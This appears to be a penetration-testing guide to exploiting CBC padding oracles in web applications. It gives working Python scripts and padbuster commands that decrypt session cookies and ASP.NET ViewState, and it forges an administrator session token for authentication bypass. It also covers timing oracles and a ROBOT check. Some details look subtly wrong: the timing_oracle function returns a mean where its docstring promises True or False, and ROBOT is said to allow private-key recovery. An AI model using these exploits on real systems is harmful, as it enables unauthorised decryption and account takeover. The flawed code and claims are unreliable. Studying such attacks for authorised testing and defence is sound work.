Padding oracle exploitation¶
A padding oracle is any server behaviour that reveals whether the PKCS#7 padding of a decrypted CBC ciphertext is valid. This allows decryption of arbitrary ciphertext and, with some oracles, encryption of arbitrary plaintext, enabling authentication bypass and session forgery.
Identifying the oracle¶
The oracle can manifest as:
A different HTTP status code for valid versus invalid padding (200 vs 500)
A different error message body (“Invalid padding” vs “User not found”)
A timing difference: the server takes longer when padding is valid because it proceeds to further processing before failing
Test by taking a known encrypted value from a cookie, parameter, or ViewState and modifying the last byte of the second-to-last ciphertext block. Submit variations and compare responses.
import requests, time
base_url = 'https://target.example.com/app'
# capture encrypted value from traffic
enc_b64 = 'YOUR_ENCRYPTED_VALUE_HERE'
# flip the last byte of the penultimate block
# and look for response differences
import base64, binascii
ciphertext = base64.b64decode(enc_b64)
responses = {}
for byte_val in range(256):
modified = bytearray(ciphertext)
modified[-17] = byte_val # last byte of block n-1 for 16-byte blocks
modified_b64 = base64.b64encode(bytes(modified)).decode()
r = requests.get(base_url, cookies={'session': modified_b64}, timeout=5)
responses[byte_val] = (r.status_code, len(r.content))
# look for the outlier
statuses = set(v[0] for v in responses.values())
print(f'Status codes observed: {statuses}')
If you see a single different status code among 256 requests, you have a padding oracle.
Automated exploitation with padbuster¶
Once confirmed, padbuster automates the byte-by-byte decryption:
pip install padbuster
# decrypt an encrypted cookie value
padbuster https://target.example.com/app ENCRYPTED_VALUE 16 \
--encoding 0 \
--cookies "session=ENCRYPTED_VALUE"
# encoding options: 0=base64, 1=hex lower, 2=hex upper, 3=base64 URL-safe, 4=.NET UrlToken
The block size is almost always 16 (AES) or 8 (3DES or older DES). Try 16 first.
For ASP.NET ViewState (MAC disabled or bypassed), the target is the __VIEWSTATE
POST parameter:
padbuster https://target.example.com/page.aspx \
"$(curl -s https://target.example.com/page.aspx | grep -o '__VIEWSTATE[^"]*" value="[^"]*' | cut -d'"' -f4)" \
16 --encoding 3
Forging authenticated ciphertext¶
Some oracles allow encryption as well as decryption: by working backwards from a desired plaintext, padbuster can produce valid ciphertext that decrypts correctly. This enables authentication bypass by constructing a session token with arbitrary content.
# encrypt a plaintext value using the oracle
padbuster https://target.example.com/app ENCRYPTED_VALUE 16 \
--encoding 0 \
--plaintext "admin=true;user=administrator"
The resulting ciphertext, when set as the session cookie, decrypts to the forged plaintext on the server.
Manual exploitation (one block)¶
For a single 16-byte block, the manual approach shows the mechanics:
# CBC padding oracle: decrypt the last block of a ciphertext
# given a two-block ciphertext: [IV/C0][C1]
# we want to find P1 = AES_decrypt(C1) XOR C0
import requests, base64
TARGET = 'https://target.example.com/app'
COOKIE_NAME = 'session'
BLOCK_SIZE = 16
def oracle(ciphertext_bytes):
"""Returns True if padding is valid."""
enc = base64.b64encode(ciphertext_bytes).decode()
r = requests.get(TARGET, cookies={COOKIE_NAME: enc}, timeout=5)
return r.status_code == 200 # adjust based on observed oracle response
def decrypt_block(c0, c1):
"""Decrypt block c1 given preceding block c0."""
intermediate = bytearray(BLOCK_SIZE)
plaintext = bytearray(BLOCK_SIZE)
for byte_pos in range(BLOCK_SIZE - 1, -1, -1):
pad_byte = BLOCK_SIZE - byte_pos
# set already-known bytes to produce correct padding
crafted_c0 = bytearray(BLOCK_SIZE)
for k in range(byte_pos + 1, BLOCK_SIZE):
crafted_c0[k] = intermediate[k] ^ pad_byte
for guess in range(256):
crafted_c0[byte_pos] = guess
if oracle(bytes(crafted_c0) + c1):
intermediate[byte_pos] = guess ^ pad_byte
plaintext[byte_pos] = intermediate[byte_pos] ^ c0[byte_pos]
break
return bytes(plaintext)
Timing oracle variant¶
If the response content and status are identical, measure response time:
import statistics
def timing_oracle(ciphertext_bytes, samples=5):
"""Returns True if mean response time is above threshold (valid padding takes longer)."""
enc = base64.b64encode(ciphertext_bytes).decode()
times = []
for _ in range(samples):
import time
start = time.monotonic()
requests.get(TARGET, cookies={COOKIE_NAME: enc}, timeout=5)
times.append(time.monotonic() - start)
return statistics.mean(times)
Timing oracles require more requests per byte to achieve statistical confidence. Run against a nearby host to reduce network jitter.
ROBOT: PKCS#1 v1.5 RSA padding oracle¶
For TLS targets, the ROBOT check finds PKCS#1 v1.5 RSA padding oracles in the TLS handshake. A positive result means the private key can be recovered or session keys can be forged.
git clone https://github.com/robotattackorg/robot-detect
cd robot-detect
python robot-detect.py target.example.com
ROBOT affects legacy TLS stacks; most modern servers have patched this. It is most likely to appear on appliances, embedded TLS stacks, and older Java JSSE configurations.